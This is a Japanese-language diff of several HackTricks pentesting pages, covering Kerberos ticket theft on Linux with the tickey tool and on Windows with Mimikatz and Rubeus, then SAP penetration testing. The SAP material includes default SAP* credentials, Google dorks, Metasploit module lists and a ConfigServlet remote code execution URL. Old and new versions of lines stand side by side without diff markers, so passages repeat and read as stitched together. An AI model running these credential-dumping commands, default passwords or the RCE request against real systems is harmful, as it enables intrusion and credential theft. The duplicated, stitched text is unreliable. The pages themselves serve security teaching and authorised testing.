* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **HackTricks**https://github.com/carlospolop/hacktricksと[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### Linuxでの資格情報の保存
Linuxシステムは、**ファイル**`/tmp`ディレクトリ内)、**カーネルキーリング**Linuxカーネル内の特別なセグメント、および**プロセスメモリ**単一プロセス用の3種類のキャッシュに資格情報を保存します。`/etc/krb5.conf`の**default\_ccache\_name**変数は、指定されていない場合は`FILE:/tmp/krb5cc_%{uid}`にデフォルトで設定されている保存タイプを示します。
### Linuxにおける資格情報の保存
Linuxシステムは、**ファイル**`/tmp`ディレクトリ内)、**カーネルキーリング**Linuxカーネル内の特別なセグメント、および**プロセスメモリ**単一プロセス用の3種類のキャッシュに資格情報を保存します。`/etc/krb5.conf`の**default\_ccache\_name**変数は、使用中の保存タイプを示し、指定されていない場合は`FILE:/tmp/krb5cc_%{uid}`がデフォルトとなります。
### 資格情報の抽出
2017年の論文、[**Kerberos Credential Thievery (GNU/Linux)**](https://www.delaat.net/rp/2016-2017/p97/report.pdf)は、キーリングやプロセスから資格情報を抽出する方法が概説されており、Linuxカーネルのキーリングメカニズムがキーの管理と保存に使用されています。
2017年の論文、[**Kerberos Credential Thievery (GNU/Linux)**](https://www.delaat.net/rp/2016-2017/p97/report.pdf)は、キーリングやプロセスから資格情報を抽出する方法を概説しており、キーの管理と保存のためのLinuxカーネルのキーリングメカニズムを強調しています。
#### キーリング抽出概要
カーネルバージョン2.6.10で導入された**keyctlシステムコール**により、ユーザースペースアプリケーションがカーネルキーリングとやり取りすることが可能となりました。キーリング内の資格情報はコンポーネント(デフォルトのプリンシパルと資格情報)として保存されており、ヘッダーも含むファイルccacheとは異なります。論文の**hercules.shスクリプト**は、これらのコンポーネントを抽出して再構築し、資格情報を盗むための使用可能なファイルccacheにします。
#### キーリング抽出概要
**keyctlシステムコール**は、カーネルバージョン2.6.10で導入され、ユーザースペースアプリケーションがカーネルキーリングと対話することを可能にします。キーリング内の資格情報は、ファイルccacheに含まれるヘッダーとは異なり、コンポーネント(デフォルトのプリンシパルと資格情報)として保存されます。論文の**hercules.shスクリプト**は、これらのコンポーネントを抽出し、資格情報の窃盗用に使用可能なファイルccacheに再構築する方法を示しています。
#### チケット抽出ツールTickey
**hercules.shスクリプト**の原則に基づいて、[**tickey**](https://github.com/TarlogicSecurity/tickey)ツールは、キーリングからチケットを抽出するために特別に設計されており、`/tmp/tickey -i`を実行して使用します。
#### チケット抽出ツール: Tickey
**hercules.shスクリプト**の原則に基づいて、[**tickey**](https://github.com/TarlogicSecurity/tickey)ツールは、キーリングからチケットを抽出するために特別に設計されており、`/tmp/tickey -i`を介して実行されます。
## 参考文献
* [**https://www.tarlogic.com/en/blog/how-to-attack-kerberos/**](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **HackTricks**https://github.com/carlospolop/hacktricksと[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,29 +1,30 @@
# Windowsからチケットを収集する
# Windowsからのチケットの収集
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学びましょう</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
Windowsのチケットは、セキュリティポリシーを処理する**lsass**Local Security Authority Subsystem Serviceプロセスによって管理および保存されます。これらのチケットを抽出するには、lsassプロセスとやり取りする必要があります。管理者はシステム上のすべてのチケットを抽出する権限を持ちますが、管理者以外のユーザーは自分自身のチケットにのみアクセスできます。このような操作には、**Mimikatz**と**Rubeus**というツールが広く使用されており、それぞれ異なるコマンドと機能を提供しています。
Windowsのチケットは、セキュリティポリシーを処理する**lsass**ローカルセキュリティ認証局サブシステムサービスプロセスによって管理および保存されます。これらのチケットを抽出するには、lsassプロセスとインターフェースを取る必要があります。非管理者ユーザーは自分のチケットにのみアクセスでき、管理者はシステム上のすべてのチケットを抽出する権限を持っています。そのような操作には、**Mimikatz**と**Rubeus**というツールが広く使用されており、それぞれ異なるコマンドと機能を提供しています。
### Mimikatz
Mimikatzは、Windowsセキュリティとやり取りできる多目的ツールです。チケットの抽出だけでなく、さまざまな他のセキュリティ関連の操作にも使用されます。
Mimikatzは、Windowsのセキュリティと対話できる多目的ツールです。チケットの抽出だけでなく、さまざまな他のセキュリティ関連の操作にも使用されます。
```bash
# Extracting tickets using Mimikatz
sekurlsa::tickets /export
```
### Rubeus
Rubeusは、Kerberosとのやり取りや操作に特化したツールです。チケットの抽出や処理、その他のKerberos関連の活動に使用されます。
Rubeusは、Kerberosのインタラクションと操作のために特別に設計されたツールです。チケットの抽出と処理、その他のKerberos関連の活動に使用されます。
```bash
# Dumping all tickets using Rubeus
.\Rubeus dump
@ -42,21 +43,22 @@ Rubeusは、Kerberosとのやり取りや操作に特化したツールです。
# Converting a ticket to hashcat format for offline cracking
.\Rubeus.exe hash /ticket:<BASE64_TICKET>
```
これらのコマンドを使用する際は、`<BASE64_TICKET>`や`<luid>`などのプレースホルダーを実際のBase64エンコードされたチケットやログオンIDに置き換えてください。これらのツールは、チケットの管理やWindowsのセキュリティメカニズムとのやり取りに幅広い機能を提供します。
これらのコマンドを使用する際は、`<BASE64_TICKET>`や`<luid>`のようなプレースホルダーを実際のBase64エンコードされたチケットとログオンIDにそれぞれ置き換えることを確認してください。これらのツールは、チケットの管理やWindowsのセキュリティメカニズムとの対話に関して広範な機能を提供します。
## 参考文献
* [https://www.tarlogic.com/en/blog/how-to-attack-kerberos/](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,42 +1,44 @@
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加** または **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォロー**.
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# SAPについての紹介
SAP は、Systems Applications and Products in Data Processing の略です。SAP は、ERPEnterprise Resource Planningソフトウェアの名前であり、企業の名前でもあります。
SAP システムは、ほぼすべてのビジネス管理の側面をカバーする、数多くの完全に統合されたモジュールで構成されています。
SAPは、データ処理におけるシステムアプリケーションおよび製品を意味します。定義上、SAPはERPエンタープライズリソースプランニングソフトウェアの名前でもあり、会社の名前でもあります。
SAPシステムは、ビジネス管理のほぼすべての側面をカバーする完全に統合されたモジュールの数で構成されています。
各SAPインスタンスまたはSIDは、データベース、アプリケーション、プレゼンテーションの3つのレイヤーで構成されており、通常、開発、テスト、QA、本番の4つのインスタンスで構成されています。
レイヤーはある程度攻撃される可能性がありますが、最も効果的なのは **データベースへの攻撃** です。
各SAPインスタンスまたはSIDは、データベース、アプリケーション、プレゼンテーションの3層で構成されており、各ランドスケープは通常、開発、テスト、QA、プロダクションの4つのインスタンスで構成されています。
層はある程度まで悪用可能ですが、最も効果的なのは**データベースを攻撃すること**です。
各SAPインスタンスはクライアントに分割されています。それぞれにユーザーSAP\*があり、アプリケーションの "root" に相当します。
初期作成時、このユーザーSAP\*にはデフォルトのパスワードが設定されます: "060719992"(以下にデフォルトのパスワードがあります)。
テストや開発環境でこれらの **パスワードが変更されていないこと** を知ると驚くでしょう!
各SAPインスタンスはクライアントに分かれています。それぞれにユーザーSAP\*があり、アプリケーションの「root」に相当します。
初期作成時、このユーザーSAP\*にはデフォルトのパスワード「060719992」が設定されます以下に他のデフォルトパスワードがあります)。
テストや開発環境でこれらの**パスワードが変更されないことがどれほど多いか**を知ったら驚くでしょう!
任意のサーバーのシェルにアクセスしようとして、ユーザー名 <SID>adm を使用してください。
ブルートフォース攻撃は役立つかもしれませんが、アカウントロックアウトメカニズムがあるかもしれません
任意のサーバーのシェルにアクセスするために、ユーザー名<SID>admを使用してみてください。
ブルートフォース攻撃が役立つ場合がありますが、アカウントロックアウトメカニズムが存在する可能性があります
# ディスカバリ
# 発見
> 次のセクションのほとんどは、ユーザー shipcod3 [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) からのものです!
> 次のセクションは、ユーザーshipcod3の[https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)からのものです!
* テストのためにアプリケーションスコープまたはプログラム概要を確認してください。SAP GUI に接続するためのホスト名やシステムインスタンスに注意してください。
* アプリケーションがインターネット公開されている場合は、OSINTオープンソースインテリジェンス、Shodan、Google Dorks を使用してファイル、サブドメイン、および興味深い情報をチェックしてください。
* テストのためにアプリケーションスコープまたはプログラムブリーフを確認してください。SAP GUIに接続するためのホスト名やシステムインスタンスに注意してください。
* OSINTオープンソースインテリジェンス、Shodan、Google Dorksを使用して、アプリケーションがインターネットに接続されている場合や公開されている場合に、ファイル、サブドメイン、重要な情報を確認してください:
```text
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
@ -46,19 +48,19 @@ https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine
```
* 以下は[http://SAP:50000/irj/portal](http://sap:50000/irj/portal)の見た目で
* ここに [http://SAP:50000/irj/portal](http://sap:50000/irj/portal) の外観がありま
![SAPログオン画面](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
![SAP ログイン画面](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
* nmapを使用してオープンポートと既知のサービスsapルーター、webdnypro、webサービス、webサーバーなどをチェックします。
* nmapを使用してオープンポートと既知のサービスsapルーター、webdnypro、ウェブサービス、ウェブサーバーなど)を確認します。
* ウェブサーバーが稼働している場合は、URLをクロールします。
* 特定のポートでウェブサーバーが稼働している場合は、ディレクトリをファズしますBurp Intruderを使用できます。デフォルトのSAP ICMパスやその他の興味深いディレクトリやファイルを見つけるためのSecLists Projectによって提供されるいくつかの良いワードリストは次のとおりです:
* 特定のポートにウェブサーバーがある場合は、ディレクトリをファズしますBurp Intruderを使用できます。デフォルトのSAP ICMパスやその他の興味深いディレクトリやファイルを見つけるために、SecListsプロジェクトが提供するいくつかの良いワードリストがあります:
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
* SAP SERVICE DISCOVERY補助Metasploitモジュールを使用して、SAPインスタンス/サービス/コンポーネントを列挙します:
* SAPインスタンス/サービス/コンポーネントを列挙するために、SAP SERVICE DISCOVERY補助Metasploitモジュールを使用します
```text
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
@ -75,12 +77,12 @@ rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
```
## テストするThick Client / SAP GUI
## Testing the Thick Client / SAP GUI
以下はSAP GUIに接続するコマンドです
SAP GUIに接続するためのコマンドは次のとおりです
`sapgui <sap server hostname> <system number>`
* デフォルトの資格情報をチェックしますBugcrowdの脆弱性評価タクソミーでは、これはP1と見なされます -&gt; サーバーセキュリティのミス構成 \| デフォルトの資格情報の使用 \| 本番サーバー\:
* デフォルトの資格情報を確認する \(Bugcrowdの脆弱性評価分類法では、これはP1 -&gt; サーバーセキュリティの誤設定 \| デフォルトの資格情報の使用 \| 本番サーバーとして考えられています\):
```text
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
@ -131,34 +133,34 @@ SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
```
* Wiresharkを実行し、SSLなしで資格情報を送信するクライアントSAP GUIに認証してください。SAP DIAGプロトコルで使用される主要なヘッダーを解析するための2つの既知のWiresharkプラグインがありますSecureAuth Labs SAP dissection plug-inとPositive Research CenterによるSAP DIAGプラグイン。
* 低特権ユーザー向けにいくつかのSAPトランザクションコードtcodesを使用した特権昇格をチェックしてください
* SU01 - ユーザーの作成とメンテナンス
* SU01D - ユーザーの表示
* SU10 - 大量メンテナンス
* SU02 - プロファイルの手動作成
* SM19 - セキュリティ監査 - 構成
* SE84 - SAP R/3権限の情報システム
* クライアントでシステムコマンドを実行したり、スクリプトを実行できるかどうかをチェックしてください
* BAPI ExplorerでXSSを実行できるかどうかをチェックしてください
* Wiresharkを実行し、取得した資格情報を使用してクライアントSAP GUIに認証します。いくつかのクライアントはSSLなしで資格情報を送信します。SAP DIAGプロトコルで使用される主要なヘッダーを解析できるWiresharkの既知のプラグインが2つありますSecureAuth Labs SAP解析プラグインとPositive Research CenterのSAP DIAGプラグイン。
* 低権限ユーザーのためにいくつかのSAPトランザクションコードtcodesを使用して特権昇格を確認します
* SU01 - ユーザーの作成と管理
* SU01D - ユーザーの表示
* SU10 - 大量メンテナンス
* SU02 - プロファイルの手動作成
* SM19 - セキュリティ監査 - 構成
* SE84 - SAP R/3認可の情報システム
* クライアントでシステムコマンドを実行したり、スクリプトを実行したりできるか確認します
* BAPI ExplorerでXSSができるか確認します
# ウェブインターフェースのテスト
* URLをクロールしてください(発見フェーズを参照)。
* 発見フェーズと同様にURLをFuzzしてください。こちらが[http://SAP:50000/index.html](http://sap:50000/index.html)の外観です:
* URLをクロールします(発見フェーズを参照)。
* 発見フェーズのようにURLをファズします。ここに[http://SAP:50000/index.html](http://sap:50000/index.html)の外観があります:
![SAPインデックスページ](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
![SAP Index Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
* 一部の場所にはXSS、RCE、XXEなどの脆弱性があるため、一般的なWeb脆弱性を探してくださいOWASP Top 10を参照
* Web脆弱性をテストするためにJason Haddixの[“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm)をチェックしてください
* 動詞の改ざんを使った認証バイパスは可能ですか?もしかしたら:\)
* `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`を開き、「Choose」ボタンをクリックし、その後開いたウィンドウで「Search」を押してください。SAPユーザーのリストが表示されるはずです脆弱性リファレンス[ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)
* 資格情報はHTTP経由で送信されていますかもしそうなら、Bugcrowdの[Vulnerability Rating Taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy)に基づいてP3と見なされますBroken Authentication and Session Management \| Weak Login Function Over HTTP。ヒント[http://SAP:50000/startPage](http://sap:50000/startPage)やログオンポータルもチェックしてください :\)
* 一般的なウェブ脆弱性を探しますOWASP Top 10を参照。いくつかの場所にはXSS、RCE、XXEなどの脆弱性があります
* Jason Haddixの[「The Bug Hunters Methodology」](https://github.com/jhaddix/tbhm)を参照してウェブ脆弱性をテストします
* 動詞改ざんによる認証バイパス? かもしれません :)
* `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`を開き、「選択」ボタンを押し、開いたウィンドウで「検索」を押します。SAPユーザーのリストが表示されるはずです脆弱性参照[ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)
* 資格情報はHTTP経由で送信されていますか そうであれば、Bugcrowdの[脆弱性評価分類](https://bugcrowd.com/vulnerability-rating-taxonomy)に基づいてP3と見なされます壊れた認証とセッション管理 | HTTP経由の弱いログイン機能。ヒント [http://SAP:50000/startPage](http://sap:50000/startPage)やログインポータルも確認してください :)
![SAPスタートページ](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
![SAP Start Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
* 可能なディレクトリリストや認証バイパスのために`/irj/go/km/navigation/`を試してください
* [http://SAP/sap/public/info](http://sap/sap/public/info)には興味深い情報が含まれています:
* ディレクトリリストや認証バイパスの可能性のために`/irj/go/km/navigation/`を試してください
* [http://SAP/sap/public/info](http://sap/sap/public/info)にはいくつかの重要な情報が含まれています:
```xml
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
@ -191,8 +193,8 @@ BWDEVELOPER:Down1oad:001
```
# 攻撃!
* 古いサーバーやWindows 2000のような古いテクロジーで実行されていないかを確認します。
* 可能な攻撃/エクスプロイトを計画します。SAPの発見補助モジュールやエクスプロイトのためのMetasploitモジュールがたくさんあります:
* Windows 2000のような古いサーバーや技術で動作しているか確認します。
* 可能なエクスプロイト/攻撃を計画します。SAPディスカバリーのための多くのMetasploitモジュール補助モジュールとエクスプロイトがあります:
```text
msf > search sap
Matching Modules
@ -257,13 +259,13 @@ exploit/windows/lpd/saplpd 2008-02
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
```
* 既知の脆弱性Exploit-DBをチェックしてくださいや古くても有効な"SAP ConfigServlet Remote Code Execution"などの攻撃を試してみてください:
* 既知のエクスプロイトを使用してみてくださいExploit-DBをチェックしてくださいや、SAPポータルの古くて良い「SAP ConfigServletリモートコード実行」のような攻撃を試みてください:
```text
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
```
![SAP Config Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
* `start`コマンドを実行する前に、Discoveryフェーズで脆弱性評価を実行するために、以下を追加することもできます:
* ディスカバリーフェーズでbizploitスクリプトの`start`コマンドを実行する前に、脆弱性評価を実行するために以下を追加することもできます:
```text
bizploit> plugins
bizploit/plugins> vulnassess all
@ -285,22 +287,22 @@ bizploit/plugins> start
bizploit/plugins> back
bizploit> start
```
# テストに役立つその他のツール
# その他のテストに役立つツール
* [PowerSAP](https://github.com/airbus-seclab/powersap) - SAPセキュリティを評価するためのPowerShellツール
* [Burp Suite](https://portswigger.net/burp) - ディレクトリファジングとWebセキュリティ評価に必須のツール
* [PowerSAP](https://github.com/airbus-seclab/powersap) - SAPセキュリティを評価するためのPowershellツール
* [Burp Suite](https://portswigger.net/burp) - ディレクトリファジングとウェブセキュリティ評価に必須
* [pysap](https://github.com/SecureAuthCorp/pysap) - SAPネットワークプロトコルパケットを作成するためのPythonライブラリ
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - SAP/ERPを検出するためのnmapの支援
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - nmapがSAP/ERPを検出するのを助ける
## 参考文献
* [Metasploitを使用したSAPペネトレーションテスト](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - Bizploitを半自動化するスクリプト
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - Bizploitを半自動化するためのスクリプト
* [SAP NetWeaver ABAPセキュリティ構成パート3アプリケーションへのアクセスのためのデフォルトパスワード](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
* [SAPセキュリティに関連するABAPトランザクションコードのリスト](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
* [SAPポータルの侵害](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
* [SAPポータルの破壊](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
* [最も興味深いSAPの脆弱性と攻撃トップ10](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
* [bizploitを使用したSAPエコシステムのセキュリティ評価Discovery](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
